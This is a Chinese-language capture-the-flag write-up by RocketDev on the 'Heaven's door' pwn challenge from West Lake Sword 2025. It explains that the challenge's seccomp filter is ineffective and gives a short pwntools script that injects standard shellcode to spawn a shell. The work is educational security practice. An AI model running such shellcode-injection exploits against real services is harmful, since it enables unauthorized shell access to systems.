西湖论剑 2025 初赛 - Heaven's door

西湖论剑 2025 初赛 - Heaven's door

RocketDev

文件属性

属性
Arch amd64
RELRO Partial
Canary on
NX on
PIE off
strip no

seccomp rules

见下方图例

解题思路

可以读取0xc3个字节,执行shellcode,但是扫描了shellcode,只允许2个syscall。 仔细观察seccomp,整个防护是无效的!直接打常规的shellcode拿shell都行...

diagram

官方wp的解法是切换64位/32位系统调用, dbgbgtf 则在考虑再拼一个syscall出来。然而,貌似远程执行syscall后,rcx并不是 syscall 之后的地址,他利用rcx做偏移写0x5失败了,最终没有打通。

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
EXE = './heaven'

def payload(lo: int):
global sh
if lo & 4:
sh = process(EXE)
if lo & 2:
gdb.attach(sh, 'set follow-fork-mode parent\nb *0x401709\nc')
elif lo:
sh = remote('127.0.0.1', 1336)
if lo & 2:
gdb.attach(('127.0.0.1', 1337), 'set follow-fork-mode parent\nb *0x401709\nc', EXE)
else:
sh = remote('', 9999)

sh.send(asm(shellcraft.sh()))

sh.clean()
sh.interactive()
sh.close()

参考

  1. 第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(下)
  • 标题: 西湖论剑 2025 初赛 - Heaven's door
  • 作者: RocketDev
  • 创建于 : 2025-08-01 23:23:00
  • 更新于 : 2025-08-02 00:18:00
  • 链接: https://rocketma.dev/2025/08/01/heaven/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
西湖论剑 2025 初赛 - Heaven's door